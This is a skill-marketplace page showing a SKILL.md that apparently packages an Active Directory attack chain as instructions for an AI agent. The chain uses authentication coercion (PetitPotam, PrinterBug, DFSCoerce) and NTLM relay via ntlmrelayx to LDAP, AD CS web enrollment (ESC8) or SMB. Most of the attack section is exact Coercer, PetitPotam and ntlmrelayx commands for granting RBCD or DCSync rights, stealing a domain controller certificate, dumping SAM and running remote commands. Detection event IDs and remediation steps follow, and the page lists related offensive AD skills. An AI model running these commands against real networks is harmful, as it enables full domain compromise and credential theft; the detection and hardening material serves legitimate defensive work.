본문으로 건너뛰기
cccskills
무료GitHub에 공개

coercion-ntlm-relay

Authentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket ntlmrelayx) toward LDAP, AD CS web enrollment (ESC8), or SMB. Use when SMB signing is not enforced or LDAP channel binding is missing, and you want to force a privileged machine account to authenticate to your relay and turn that into RBCD, a DCSync-capable ACL grant, or a certificate. Includes the exact Coercer/ntlmrelayx commands, requirements, detection, and remediation.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD
설치 방법 보기

포함된 파일(1)

  • SKILL.md7.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Coercion + NTLM Relay

Two techniques that combine into one of the most reliable domain-compromise chains: force a target (usually a Domain Controller's machine account) to authenticate to a host you control, then relay that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication.

The chain only works when a relay target is unprotected:

  • Relay to LDAP/LDAPS requires LDAP signing not enforced and channel binding (EPA) absent.
  • Relay to SMB requires SMB signing not enforced on the destination.
  • Relay to AD CS web enrollment (ESC8) requires the HTTP enrollment endpoint up without EPA.

Check signing posture first:

nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt        # hosts without SMB signing
nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker   # LDAP signing / channel binding state

Part 1: Coercion

You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's machine account ($) authentication at you.

PetitPotam: MS-EFSR (Encrypting File System Remote)

MITRE ATT&CK: T1187 (Forced Authentication)

Abuses the EFSRPC interface (EfsRpcOpenFileRaw and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones.

Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-method-name EfsRpc

Classic standalone tool:

python3 PetitPotam.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10

PrinterBug: MS-RPRN (Print System Remote Protocol)

MITRE ATT&CK: T1187

Abuses RpcRemoteFindFirstPrinterChangeNotificationEx via the Spooler service. Works wherever the Print Spooler is running (still common on DCs).

Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-RPRN

Standalone:

python3 dementor.py <YOUR_IP> 10.0.0.10 -u user -p 'Password123' -d CORP.LOCAL

DFSCoerce: MS-DFSNM (Distributed File System Namespace Management)

MITRE ATT&CK: T1187

Abuses NetrDfsAddStdRoot/NetrDfsRemoveStdRoot. Useful when EFSR and Spooler are patched/disabled, because DFSNM is harder to turn off on a DC.

Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-DFSNM

Standalone:

python3 dfscoerce.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10

Coercer sweeps all methods at once if you drop the filters, which is handy to find whatever is not patched.

Part 2: NTLM Relay (impacket ntlmrelayx)

Stand up the relay before you coerce. The coerced authentication lands on ntlmrelayx, which forwards it to your chosen target.

Relay to LDAP: grant RBCD or DCSync-capable rights

MITRE ATT&CK: T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS/relay) / T1187

Relaying a DC's machine account to LDAP lets you write directory objects as that machine. The --delegate-access flow configures RBCD so you can then S4U to the coerced host (Kerberos skill). Requires LDAP signing not enforced and channel binding absent.

ntlmrelayx.py -t ldaps://10.0.0.10 --delegate-access --no-dump --no-da -smb2support

After the relay writes RBCD, S4U (see Kerberos skill). A relayed DC can also be pushed to grant a controlled principal replication rights (the WriteDACL-on-domain-head path in the ACL skill), which then enables DCSync as a post-compromise step.

Relay to AD CS web enrollment: ESC8

MITRE ATT&CK: T1557.001 / T1187

Relay the coerced DC machine account to the CA's HTTP web-enrollment endpoint and enroll a certificate as that DC. Then PKINIT the cert to a TGT (AD CS skill). Requires the web-enrollment endpoint up without EPA.

ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

Coerce a DC (PetitPotam) into this relay, take the issued .pfx, then certipy auth -pfx ....

Relay to SMB: remote command / secrets

MITRE ATT&CK: T1557.001

Relay to a member server whose SMB signing is not enforced to dump SAM or run a command as the relayed account.

ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami'
ntlmrelayx.py -t smb://10.0.0.50 -smb2support --dump-sam

Full chain (order of operations)

  1. Confirm an unprotected relay target (--gen-relay-list, LDAP signing/CBT check).
  2. Start ntlmrelayx.py pointed at LDAP / AD CS / SMB.
  3. Coerce the DC (or other privileged host) to authenticate to your relay IP with Coercer/PetitPotam/PrinterBug/DFSCoerce.
  4. Consume the result: RBCD → S4U (Kerberos skill), ESC8 cert → PKINIT (AD CS skill), or SMB action.

Detection (Event IDs)

  • 4624 (successful logon) with Logon Type 3 and NTLM authentication package, where the account is a machine account ($) authenticating to a host it has no business reaching (the relay endpoint). Machine-to-machine NTLM to a non-standard destination is the core signal.
  • 4662 on the domain object if the relay wrote replication rights; 5136 for the RBCD / DACL / owner writes the relayed session performs (see ACL skill).
  • 4886/4887 on the CA for the ESC8 certificate request/issuance.
  • 5145 (network share object checked) and Spooler/DFS RPC activity on the coerced host around the coercion call.
  • Defender for Identity raises alerts for suspected NTLM relay and for the coercion RPC patterns.

Remediation to write up

  • Enforce SMB signing (require, not just enable) on all hosts, DCs included. This alone breaks SMB relay.
  • Enforce LDAP signing and enable LDAP channel binding (EPA) on Domain Controllers. This breaks the LDAP relay path (Microsoft's hardening, e.g. the LDAP channel-binding/signing enforcement updates).
  • Enable EPA and require HTTPS on AD CS web enrollment; disable HTTP; disable web enrollment if unused. This closes ESC8.
  • Restrict/patch the coercion surface: apply the PetitPotam patch, disable the Print Spooler on DCs and servers that do not print, and apply DFSCoerce mitigations. Coercion methods are many, so relay-target hardening (signing/EPA) is the durable fix.
  • RestrictReceivingNTLMTraffic / RestrictSendingNTLMTraffic GPOs to constrain NTLM, and ultimately move toward disabling NTLM where feasible.
  • Put Tier-0 accounts in Protected Users so their NTLM cannot be relayed.
  • Alert on machine-account NTLM logons to unexpected hosts (4624 type 3 NTLM from $ accounts).

Only run coercion and relay against systems you are explicitly authorized to test. Coercion generates real authentication traffic and can disrupt services. Use lab/generic IPs, hostnames and CA names in write-ups.

Reference

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

acl-abuse

무료

Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD2122026년 8월 25일 업데이트

ad-environment-constraints

무료

Real-world Active Directory environment constraints that silently break attacks when ignored: NTLM disabled (Kerberos fallback), AES-only KDCs (RC4 blocked by GPO), LDAP signing and channel binding requiring LDAPS on 636, Kerberos clock skew (KRB_AP_ERR_SKEW), SPNs that must be FQDNs never short names or IPs (the misleading invalidCredentials), Protected Users / LAPS / gMSA / MachineAccountQuota, LDAP 1000-object paging, and VPN latency. Use this whenever a bind, TGT request, LDAP query, or SMB negotiation fails in a way that looks like bad credentials but is really hardening, or before running any AD tooling against a domain you have not fingerprinted. Standard-tooling knowledge (netexec, impacket, certipy, bloodyAD, kerbrute), no vendor-specific engine.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD2122026년 8월 25일 업데이트

ad-methodology

무료

The order of operations for an Active Directory penetration test: setup, collection, exploitation, post-processing. Use this whenever you are planning or driving an AD assessment and need to know what to run before what and why (map before you exploit; harvest easy credentials before spraying to avoid lockouts; collect the graph before you reason about paths). Covers phase sequencing with standard tooling: netexec/nxc, impacket, certipy, bloodyAD, kerbrute, BloodHound CE. Invoke it at the start of an engagement, when deciding the next phase, or when a step feels out of order.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD2122026년 8월 25일 업데이트

ad-opsec-telemetry

무료

The telemetry each Active Directory technique generates and what alerts a defender: Kerberoasting produces Event 4769 with RC4 encryption (0x17) and an MDI alert, DCSync produces Event 4662 with the DS-Replication-Get-Changes GUID, AS-REP roasting produces Event 4768 with no pre-auth, LSASS dumping is blocked by EDR, plus a lateral-movement telemetry table by protocol (SMB/WMI/WinRM/RDP/DCOM). Use this whenever you run or plan an offensive AD technique and need to know what noise it makes, when writing the engagement's detection notes, or when a defender wants to know what to monitor. Teaches red teamers what is loud and blue teamers what to watch. Standard-tooling knowledge, no vendor engine.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD2122026년 8월 25일 업데이트

adcs-attacks

무료

Active Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use when the target runs a Certificate Authority and you want to find vulnerable certificate templates or CA misconfigurations, request a certificate that impersonates a privileged user, and know the exact certipy command, what each ESC actually checks, the Windows Event IDs that fire, and the remediation. ESC1 and ESC8 are the two you hit most in the field.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD2122026년 8월 25일 업데이트

compliance-mapping

무료

A high-level conceptual mapping from Active Directory attack techniques to the compliance controls they touch. Kerberoasting relates to authentication and logging, so it brushes ENS op.acc.5 / op.exp.8, NIS2 Art.21(2)(h), DORA RTS Art.9 / Art.21. Use this when a reader wants to understand which regulatory control an AD finding relates to, or to add an orientation note to a technical finding. This is a conceptual, orientative mapping only; it is NOT an auditor-defensible, curated, ID-by-ID control matrix. Covers ENS (op.acc.*, op.exp.*), NIS2 (Directive 2022/2555 Art.21), and DORA (RTS 2024/1774).

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ADScanPro/Claude-AD2122026년 8월 25일 업데이트

ADScanPro의 스킬 모두 보기

이 스킬의 문제 신고